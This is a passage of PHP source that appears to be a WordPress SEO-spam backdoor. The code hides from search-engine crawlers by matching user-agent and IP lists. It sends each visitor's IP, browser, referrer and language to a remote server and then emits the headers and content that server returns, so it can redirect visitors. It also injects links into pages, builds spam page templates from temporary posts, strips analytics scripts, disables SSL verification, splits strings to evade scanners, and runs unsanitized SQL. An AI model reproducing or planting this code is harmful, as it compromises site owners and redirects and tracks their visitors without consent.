790 '#Ask\s*Jeeves#i',
791 '#HP\s*Web\s*PrintSmart#i',
792 '#HTTrack#i',
793 '#IDBot#i',
794 '#Indy\s*Library#',
795 '#ListChecker#i',
796 '#MSIECrawler#i',
797 '#NetCache#i',
798 '#Nutch#i',
799 '#RPT-HTTPClient#i',
800 '#rulinki\.ru#i',
801 '#Twiceler#i',
802 '#WebAlta#i',
803 '#Webster\s*Pro#i',
804 '#www\.cys\.ru#i',
805 '#Wysigot#i',
806 '#Ahrefs#i',
807 '#Yeti#i',
808 '#Accoona#i',
809 '#CazoodleBot#i',
810 '#CFNetwork#i',
811 '#ConveraCrawler#i',
812 '#DISCo#i',
813 '#Download\s*Master#i',
814 '#FAST\s*MetaWeb\s*Crawler#i',
815 '#Flexum\s*spider#i',
816 '#Gigabot#i',
817 '#HTMLParser#i',
818 '#ia_archiver#i',
819 '#ichiro#i',
820 '#IRLbot#i',
821 '#Java#i',
822 '#km\.ru\s*bot#i',
823 '#kmSearchBot#i',
824 '#libwww-perl#i',
825 '#Lupa\.ru#i',
826 '#LWP::Simple#i',
827 '#lwp-trivial#i',
828 '#Missigua#i',
829 '#MJ12bot#i',
830 '#msnbot#i',
831 '#Offline\s*Explorer#i',
832 '#OmniExplorer_Bot#i',
833 '#PEAR#i',
834 '#psbot#i',
835 '#Python#i',
836 '#rulinki\.ru#i',
837 '#SMILE#i',
838 '#Speedy#i',
839 '#Teleport\s*Pro#i',
840 '#TurtleScanner#i',
841 '#User-Agent#i',
842 '#voyager#i',
843 '#Webalta#i',
844 '#WebCopier#i',
845 '#WebData#i',
846 '#WebZIP#i',
847 '#Wget#i',
848 '#Yanga#i',
849 '#Yeti#i',
850 '#MJ12bot#i',
851 '#jeeves#i',
852 '#WordPress#i',
853 '#scooter#i',
854 '#av\s*fetch#i',
855 '#asterias#i',
856 '#spiderthread revision#i',
857 '#sqworm#i',
858 '#ask#i',
859 '#lycos.spider#i',
860 '#infoseek sidewinder#i',
861 '#ultraseek#i',
862 '#polybot#i',
863 '#webcrawler#i',
864 '#robozill#i',
865 '#gulliver#i',
866 '#architextspider#i',
867 '#charlotte#i',
868 '#Vegi\s*bot#i',
869 '#BUbiNG#i',
870 '#ltx71#i',
871 '#YandexBot#i',
872 '#MJ12bot#i',
873 '#MegaIndex#i',
874 '#DotBot#i'
875 );
876 if (strpos("qqq" . preg_replace($user_agent_to_filter, '-ANGRYBOT-', $ua) , '-ANGRYBOT-'))
877 {
878 return "bot";
879 }
880 $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
881 $ua = urlencode($ua);
882 $url = $domain_kt . "?is_api=1&source=" . urlencode($url_curr) . "&action=get&token=" . $apiToken . "&ua=" . $ua . "&ip=" . $ip . "&keyword=" . urlencode($keyword) . "&referrer=" . $referrer . "&lang=" . $lang . "&sub_id_1=" . urlencode($key1);
883 if (function_exists('curl_init'))
884 {
885 $ch = curl_init();
886 curl_setopt($ch, CURLOPT_URL, $url);
887 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
888 curl_setopt($ch, CURLOPT_TIMEOUT, 90);
889 $output = curl_exec($ch);
890 curl_close($ch);
891 }
892 else
893 {
894 $params = explode("?", $url);
895 $params = $params[1];
896 $output = file_get_contents($url, false, stream_context_create(array(
897 'http' => array(
898 'method' => 'POST',
899 'header' => 'Content-type: application/x-www-form-urlencoded',
900 'content' => $params
901 )
902 )));
903 }
904 $result = json_decode($output);
905 $result = (array)$result;
906 $result = (array)$result["redirect"];
907 if ($result["content"] !== "bot")
908 {
909 if (!empty($forlinks))
910 {
911 return "";
912 }
913 foreach ($result["headers"] as $header)
914 {
915 header($header);
916 }
917 if ($result["content"])
918 {
919 $result["content"] = urldecode($result["content"]);
920 return $result["content"];
921 }
922 }
923 elseif ($result["content"] === "bot")
924 {
925 return "bot";
926 }
927 else
928 {
929 return "";
930 }
931 }
932 else
933 {
934 $is_bot = "";
935 $user_agent_to_filter = array(
936 '#Ask\s*Jeeves#i',
937 '#HP\s*Web\s*PrintSmart#i',
938 '#HTTrack#i',
939 '#IDBot#i',
940 '#Indy\s*Library#',
941 '#ListChecker#i',
942 '#MSIECrawler#i',
943 '#NetCache#i',
944 '#Nutch#i',
945 '#RPT-HTTPClient#i',
946 '#rulinki\.ru#i',
947 '#Twiceler#i',
948 '#WebAlta#i',
949 '#Webster\s*Pro#i',
950 '#www\.cys\.ru#i',
951 '#Wysigot#i',
952 '#Yahoo!\s*Slurp#i',
953 '#Yeti#i',
954 '#Accoona#i',
955 '#CazoodleBot#i',
956 '#CFNetwork#i',
957 '#ConveraCrawler#i',
958 '#DISCo#i',
959 '#Download\s*Master#i',
960 '#FAST\s*MetaWeb\s*Crawler#i',
961 '#Flexum\s*spider#i',
962 '#Gigabot#i',
963 '#HTMLParser#i',
964 '#ia_archiver#i',
965 '#ichiro#i',
966 '#IRLbot#i',
967 '#Java#i',
968 '#km\.ru\s*bot#i',
969 '#kmSearchBot#i',
970 '#libwww-perl#i',
971 '#Lupa\.ru#i',
972 '#LWP::Simple#i',
973 '#lwp-trivial#i',
974 '#Missigua#i',
975 '#MJ12bot#i',
976 '#msnbot#i',
977 '#msnbot-media#i',
978 '#Offline\s*Explorer#i',
979 '#OmniExplorer_Bot#i',
980 '#PEAR#i',
981 '#psbot#i',
982 '#Python#i',
983 '#rulinki\.ru#i',
984 '#SMILE#i',
985 '#Speedy#i',
986 '#Teleport\s*Pro#i',
987 '#TurtleScanner#i',
988 '#User-Agent#i',
989 '#voyager#i',
990 '#Webalta#i',
991 '#WebCopier#i',
992 '#WebData#i',
993 '#WebZIP#i',
994 '#Wget#i',
995 '#Yandex#i',
996 '#Yanga#i',
997 '#Yeti#i',
998 '#msnbot#i',
999 '#spider#i',
1000 '#yahoo#i',
1001 '#jeeves#i',
1002 '#googlebot#i',
1003 '#altavista#i',
1004 '#scooter#i',
1005 '#av\s*fetch#i',
1006 '#asterias#i',
1007 '#spiderthread revision#i',
1008 '#sqworm#i',
1009 '#ask#i',
1010 '#lycos.spider#i',
1011 '#infoseek sidewinder#i',
1012 '#ultraseek#i',
1013 '#polybot#i',
1014 '#webcrawler#i',
1015 '#robozill#i',
1016 '#gulliver#i',
1017 '#architextspider#i',
1018 '#yahoo!\s*slurp#i',
1019 '#charlotte#i',
1020 '#bingbot#i'
1021 );
1022 $stop_ips_masks = array(
1023 "66\.249\.[6-9][0-9]\.[0-9]",
1024 "74\.125\.[0-9]\.[0-9]",
1025 "65\.5[2-5]\.[0-9]\.[0-9]",
1026 "74\.6\.[0-9]\.[0-9]",
1027 "67\.195\.[0-9]\.[0-9]",
1028 "72\.30\.[0-9]\.[0-9]",
1029 "38\.[0-9]\.[0-9]\.[0-9]",
1030 "93\.172\.94\.227",
1031 "212\.100\.250\.218",
1032 "71\.165\.223\.134",
1033 "70\.91\.180\.25",
1034 "65\.93\.62\.242",
1035 "74\.193\.246\.129",
1036 "213\.144\.15\.38",
1037 "195\.92\.229\.2",
1038 "70\.50\.189\.191",
1039 "218\.28\.88\.99",
1040 "165\.160\.2\.20",
1041 "89\.122\.224\.230",
1042 "66\.230\.175\.124",
1043 "218\.18\.174\.27",
1044 "65\.33\.87\.94",
1045 "67\.210\.111\.241",
1046 "81\.135\.175\.70",
1047 "64\.69\.34\.134",
1048 "89\.149\.253\.169",
1049 "104\.132\.8\.69"
1050 );
1051 foreach ($stop_ips_masks as $k => $v)
1052 {
1053 if (preg_match('#^' . $v . '$#', $ip))
1054 {
1055 $is_bot = "bot";
1056 }
1057 }
1058 if (empty($is_bot) && strpos("qqq" . preg_replace($user_agent_to_filter, '-ANGRYBOT-', $ua) , '-ANGRYBOT-'))
1059 {
1060 $is_bot = "bot";
1061 }
1062 if ($is_bot == "bot")
1063 {
1064 return $is_bot;
1065 }
1066 if (!empty($forlinks))
1067 {
1068 return "";
1069 }
1070 if (!empty($plainred))
1071 {
1072 if (!empty($plainredurl))
1073 {
1074 $plainred = str_ireplace("[REDIRECTURL]", $plainredurl, $plainred);
1075 }
1076 $plainred = str_ireplace("[DEFISKEY]", str_ireplace(" ", "-", $keyword) , $plainred);
1077 $plainred = str_ireplace("[SPACEKEY]", $keyword, $plainred);
1078 $plainred = str_ireplace("[CURRURL]", $url_curr, $plainred);
1079 $plainred = str_ireplace("[REFERER]", $referrer, $plainred);
1080 $plainred = str_ireplace("[MULTIKEYREDIRECT]", $key1, $plainred);
1081 return $plainred;
1082 }
1083 else
1084 {
1085 return "";
1086 }
1087 }
1088 return "";
1089}
1090function updateBDData($tablename, $data, $value, $uslovie, $dbhost, $dbname, $dbuser, $dbpass, $dbport)
1091{
1092 $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport);
1093 if (!$dbcon)
1094 {
1095 return false;
1096 }
1097 else
1098 {
1099 $sql = "UPDATE " . $tablename . " SET " . $value . "='" . $data . "' WHERE " . $uslovie . "";
1100 if (mysqli_query($dbcon, $sql))
1101 {
1102 mysqli_close($dbcon);
1103 return "yes";
1104 }
1105 else
1106 {
1107 mysqli_close($dbcon);
1108 return false;
1109 }
1110 }
1111}
1112function placeLinks($pageurl, $links)
1113{
1114 $page = httpGet($pageurl);
1115 if (!empty($page))
1116 {
1117 $page = preg_replace("/(<body.*>)/", "\$1" . $links, $page, 1);
1118 return $page;
1119 }
1120 else
1121 {
1122 return "";
1123 }
1124}
1125function randomValuesFromTableById($tablename, $value, $count, $dbhost, $dbname, $dbuser, $dbpass, $dbport)
1126{
1127 $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport);
1128 if (!$dbcon)
1129 {
1130 return "udfgoihdkh48sied";
1131 }
1132 else
1133 {
1134 $sql = "SELECT " . $value . " FROM " . $tablename . " WHERE wpk IS NOT NULL ORDER BY RAND() LIMIT " . $count;
1135 $needvalue = mysqli_query($dbcon, $sql);
1136 $res = array();
1137 $out = array();
1138 $value = explode(",", $value);
1139 while ($row = mysqli_fetch_array($needvalue))
1140 {
1141 foreach ($value as $k => $onevalue)
1142 {
1143 $onevalue = trim($onevalue);
1144 $res[$onevalue] = $row[$onevalue];
1145 }
1146 $out[] = $res;
1147 }
1148 mysqli_close($dbcon);
1149 return $out;
1150 }
1151}
1152function getCountofTable($tablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport)
1153{
1154 $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport);
1155 if (!$dbcon)
1156 {
1157 return false;
1158 }
1159 else
1160 {
1161 $sql = "SELECT COUNT(1) FROM " . $tablename;
1162 $count = mysqli_query($dbcon, $sql);
1163 $count = mysqli_fetch_array($count);
1164 mysqli_close($dbcon);
1165 if (!empty($count[0]))
1166 {
1167 return $count[0];
1168 }
1169 else
1170 {
1171 return "no";
1172 }
1173 }
1174}
1175function deleteLinesFmDB($tablename, $uslovie, $dbhost, $dbname, $dbuser, $dbpass, $dbport)
1176{
1177 $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport);
1178 if (!$dbcon)
1179 {
1180 return false;
1181 }
1182 else
1183 {
1184 $sql = "DELETE FROM " . $tablename . " WHERE " . $uslovie;
1185 mysqli_query($dbcon, $sql);
1186 mysqli_close($dbcon);
1187 return "yes";
1188 }
1189}
1190function randomUA()
1191{
1192 $uas = array(
1193 "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0",
1194 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36",
1195 "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0",
1196 "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36",
1197 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36",
1198 "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36",
1199 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36",
1200 "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
1201 );
1202 $uas = shuffleArr($uas);
1203 return $uas[0];
1204}
1205function shuffleArr($arr)
1206{
1207 srand((float)microtime() * 1000000);
1208 shuffle($arr);
1209 return $arr;
1210}
1211function parseTemplate()
1212{
1213 $slugname = randString(8);
1214 $post_data = array(
1215 "post_title" => "[HER" . "EISP" . "OSTTI" . "TLE]",
1216 "post_name" => $slugname,
1217 "post_content" => "[HERE" . "ISC" . "ONT" . "ENT]",
1218 'post_status' => 'publish',
1219 'post_category' => array()
1220 );
1221 $post_id = wp_insert_post($post_data, true);
1222 $permalink = get_permalink($post_id);
1223 $permalink = str_ireplace('http://', '', $permalink);
1224 $permalink = str_ireplace('https://', '', $permalink);
1225 if (is_ssl() === false)
1226 {
1227 $permalink = "http://" . $permalink;
1228 }
1229 else
1230 {
1231 $permalink = "https://" . $permalink;
1232 }
1233 $sitecode = httpGet($permalink);
1234 $permalink = trim($permalink, "/");
1235 if (stripos("qqq" . $permalink, "?p="))
1236 {
1237 $urlfrchpu = str_ireplace("?p=" . $post_id, "?p=chpukeyplace", $permalink);
1238 }
1239 else
1240 {
1241 $urlfrchpu = str_ireplace($slugname, "chpukeyplace", $permalink);
1242 }
1243 wp_delete_post($post_id, true);
1244 if (!empty($sitecode))
1245 {
1246 $regular = "|<title>(.*)<\/title>|iUs";
1247 preg_match_all($regular, $sitecode, $matches);
1248 if (!empty($matches[1]))
1249 {
1250 $matches[1] = array_unique($matches[1]);
1251 foreach ($matches[1] as $pagetitlemain)
1252 {
1253 $sitecode = str_ireplace($pagetitlemain, '[HE' . 'REI' . 'SPAG' . 'ETI' . 'TLE]', $sitecode);
1254 }
1255 }
1256 $regular = "|(<h2.*>.*</h2+>)|iUs";
1257 preg_match_all($regular, $sitecode, $matches);
1258 if (!empty($matches[1]))
1259 {
1260 $matches[1] = array_unique($matches[1]);
1261 srand((float)microtime() * 1000000);
1262 shuffle($matches[1]);
1263 if (count($matches[1]) >= 2)
1264 {
1265 $counth = count($matches[1]) / 2;
1266 $counth = floor($counth);
1267 $matches[1] = array_slice($matches[1], 0, $counth - 1);
1268 }
1269 foreach ($matches[1] as $htagmain)
1270 {
1271 $sitecode = str_ireplace($htagmain, '[HE' . 'R' . 'EI' . 'SH' . 'TAG]', $sitecode);
1272 }
1273 }
1274 $regular = "|<a\s.*(href=[\"']+.*[\"']+).*>(.*)<\/a>|iUs";
1275 preg_match_all($regular, $sitecode, $matches);
1276 if (!empty($matches[1]))
1277 {
1278 $all_links = $matches[0];
1279 $atagarray = array_combine($matches[2], $matches[1]);
1280 $atagarray = array_unique($atagarray);
1281 foreach ($atagarray as $anchor => $url)
1282 {
1283 if (stripos("qqq" . $url, "feed") || stripos("qqq" . $url, "wp-login") || stripos("qqq" . $url, "#") || (stripos("qqq" . $anchor, "<") && stripos("qqq" . $anchor, ">")))
1284 {
1285 unset($atagarray[$anchor]);
1286 }
1287 }
1288 srand((float)microtime() * 1000000);
1289 shuffle($atagarray);
1290 if (count($atagarray) >= 3)
1291 {
1292 $counta = count($atagarray) / 3;
1293 $counta = floor($counta);
1294 $atagarray = array_slice($atagarray, 0, $counta - 1);
1295 }
1296 foreach ($all_links as $atagmain)
1297 {
1298 foreach ($atagarray as $url)
1299 {
1300 if (stripos("qqq" . $atagmain, $url))
1301 {
1302 $atagtoreplace = preg_replace("/href=[\"']+.*[\"']+/iUs", "href=\"[H" . "ER" . "EIS" . "AT" . "AGL" . "INK]\"", $atagmain);
1303 $atagtoreplace = preg_replace("|>.*<\/a>|iUs", ">[HE" . "REIS" . "AT" . "AGA" . "NCH" . "OR]</a>", $atagtoreplace);
1304 $sitecode = str_ireplace($atagmain, $atagtoreplace, $sitecode);
1305 }
1306 }
1307 }
1308 }
1309 $sitecode = str_ireplace($permalink, "#", $sitecode);
1310 $sitecode = preg_replace("/<meta property=[\"\']{1}og:description[\"\']{1} content=[\"\']{1}.*[\"\']{1}\s?\/>/iUs", "", $sitecode);
1311 $sitecode = preg_replace("/<meta name=[\"\']{1}twitter:description[\"\']{1} content=[\"\']{1}.*[\"\']{1}\s?\/>/iUs", "", $sitecode);
1312 $sitecode = preg_replace("/<meta itemprop=[\"\']{1}description[\"\']{1} content=[\"\']{1}.*[\"\']{1}\s?\/>/iUs", "", $sitecode);
1313 $sitecode = preg_replace("/<meta name=[\"\']{1}description[\"\']{1} content=[\"\']{1}.*[\"\']{1}\s?\/>/iUs", "", $sitecode);
1314 $sitecode = preg_replace("/<meta name=[\"\']{1}dc\.description[\"\']{1} content=[\"\']{1}.*[\"\']{1}\s?\/>/iUs", "", $sitecode);
1315 $sitecode = urlencode($sitecode);
1316 $regular = "|(%3Cscript.*%3C%2Fscript%3E)|iUs";
1317 preg_match_all($regular, $sitecode, $matches);
1318 if (!empty($matches[1]))
1319 {
1320 foreach ($matches[1] as $currgooglestat)
1321 {
1322 if (stripos("qqq" . $currgooglestat, "google-analytics.com") || stripos("qqq" . $currgooglestat, "yandex.ru"))
1323 {
1324 $sitecode = str_ireplace($currgooglestat, "", $sitecode);
1325 }
1326 }
1327 }
1328 if (!empty($sitecode))
1329 {
1330 $resultarray = array(
1331 "chpu" => $urlfrchpu,
1332 "sitetemp" => $sitecode
1333 );
1334 return $resultarray;
1335 }
1336 }
1337 return false;
1338}
1339function httpGet($url)
1340{
1341 if (stripos("qqq" . $url, "?"))
1342 {
1343 $url = $url . "&ertthndxbcvs=yes";
1344 }
1345 else
1346 {
1347 $url = $url . "?ertthndxbcvs=yes";
1348 }
1349 if (function_exists('curl_init'))
1350 {
1351 $ch = curl_init();
1352 curl_setopt($ch, CURLOPT_URL, $url);
1353 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1354 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
1355 curl_setopt($ch, CURLOPT_USERAGENT, randomUA());
1356 curl_setopt($ch, CURLOPT_HEADER, 0);
1357 curl_setopt($ch, CURLOPT_TIMEOUT, 90);
1358 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
1359 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
1360 $output = curl_exec($ch);
1361 curl_close($ch);
1362 }
1363 else
1364 {
1365 $output = file_get_contents($url);
1366 }
1367 return $output;
1368}
1369function httpPost($url, $params)
1370{
1371 $params = rtrim($params, '&');
1372 if (function_exists('curl_init'))
1373 {
1374 $ch = curl_init();
1375 curl_setopt($ch, CURLOPT_URL, $url);
1376 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1377 curl_setopt($ch, CURLOPT_USERAGENT, randomUA());
1378 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
1379 curl_setopt($ch, CURLOPT_HEADER, false);
1380 curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
1381 curl_setopt($ch, CURLOPT_TIMEOUT, 40);
1382 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
1383 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
1384 $output = curl_exec($ch);
1385 curl_close($ch);
1386 }
1387 else
1388 {
1389 $output = file_get_contents($url, false, stream_context_create(array(
1390 'http' => array(
1391 'method' => 'POST',
1392 'header' => 'Content-type: application/x-www-form-urlencoded',
1393 'content' => $params
1394 )
1395 )));
1396 }
1397 return $output;
1398}
1399function readValueFromBD($tablename, $value, $uslovie, $dbhost, $dbname, $dbuser, $dbpass, $dbport)
1400{
1401 $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport);
1402 if (!$dbcon)
1403 {
1404 return "udfgoihdkh48sied";
1405 }
1406 else
1407 {
1408 if (!empty($uslovie))
1409 {
1410 $sql = "SELECT " . $value . " FROM " . $tablename . " where " . $uslovie;
1411 }
1412 else
1413 {
1414 $sql = "SELECT " . $value . " FROM " . $tablename;
1415 }
1416 $needvalue = mysqli_query($dbcon, $sql);
1417 $needvalue = mysqli_fetch_array($needvalue);
1418 if (!empty($needvalue))
1419 {
1420 if (!empty($uslovie))
1421 {
1422 if (stripos($value, ","))
1423 {
1424 $value = explode(",", $value);
1425 $res = array();
1426 foreach ($value as $onevalue)
1427 {
1428 $onevalue = trim($onevalue);
1429 $res[$onevalue] = $needvalue[$onevalue];
1430 }
1431 $needvalue = $res;
1432 }
1433 else
1434 {
1435 $needvalue = $needvalue[$value];
1436 }
1437 }
1438 mysqli_close($dbcon);
1439 return $needvalue;
1440 }
1441 else
1442 {
1443 mysqli_close($dbcon);
1444 return "no";
1445 }
1446 }
1447}
1448function insertToBD($tablename, $cols, $data, $dbhost, $dbname, $dbuser, $dbpass, $dbport)
1449{
1450 $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport);
1451 if (!$dbcon)
1452 {
1453 return "udfgoihdkh48sied";
1454 }
1455 else
1456 {
1457 $sql = "INSERT INTO " . $tablename . " (" . $cols . ") VALUES (" . $data . ")";
1458 if (mysqli_query($dbcon, $sql))
1459 {
1460 mysqli_close($dbcon);
1461 return "yes";
1462 }
1463 else
1464 {
1465 mysqli_close($dbcon);
1466 return "bewiursfer9uidd";
1467 }
1468 }
1469}
1470function mysqlTableSeekWP($tablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport)
1471{
1472 $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport);
1473 if (!$dbcon)
1474 {
1475 return "udfgoihdkh48sied";
1476 }
1477 $table_list = mysqli_query($dbcon, "SHOW TABLES FROM " . $dbname . "");
1478 while ($row = mysqli_fetch_row($table_list))
1479 {
1480 if ($tablename == $row[0])
1481 {
1482 mysqli_close($dbcon);
1483 unset($row);
1484 unset($table_list);
1485 return "yes";
1486 }
1487 }
1488 mysqli_close($dbcon);
1489 unset($row);
1490 unset($table_list);
1491 return "no";
1492}
1493function randString($length)
1494{
1495 $str = "";
1496 $chars = "abcdefghijklmnopqrstuvwxyz0123456789";
1497 $size = strlen($chars);
1498 for ($i = 0;$i < $length;$i++)
1499 {
1500 $str .= $chars[rand(0, $size - 1) ];
1501 }
1502 return $str;
1503}
1504function createTable($tablename, $fields, $idfield, $dbhost, $dbname, $dbuser, $dbpass, $dbport)
1505{
1506 $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport);
1507 if (!$dbcon)
1508 {
1509 return "udfgoihdkh48sied";
1510 }
1511 $table_list = mysqli_query($dbcon, "SHOW TABLES FROM " . $dbname . "");
1512 while ($row = mysqli_fetch_row($table_list))
1513 {
1514 if ($tablename == $row[0])
1515 {
1516 mysqli_close($dbcon);
1517 return "aawtr35tdgvvcsxdff";
1518 }
1519 }
1520 unset($row);
1521 unset($table_list);
1522 $sql = "CREATE TABLE " . $tablename . " (" . $fields . ")";
1523 mysqli_query($dbcon, $sql);
1524 $sql = "ALTER TABLE " . $tablename . " add " . $idfield . " INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY FIRST";
1525 mysqli_query($dbcon, $sql);
1526 $table_list = mysqli_query($dbcon, "SHOW TABLES FROM " . $dbname . "");
1527 while ($row = mysqli_fetch_row($table_list))
1528 {
1529 if ($tablename == $row[0])
1530 {
1531 mysqli_close($dbcon);
1532 unset($row);
1533 unset($table_list);
1534 return "yes";
1535 }
1536 }
1537 mysqli_close($dbcon);
1538 return "bewiursfer9uidd";
1539}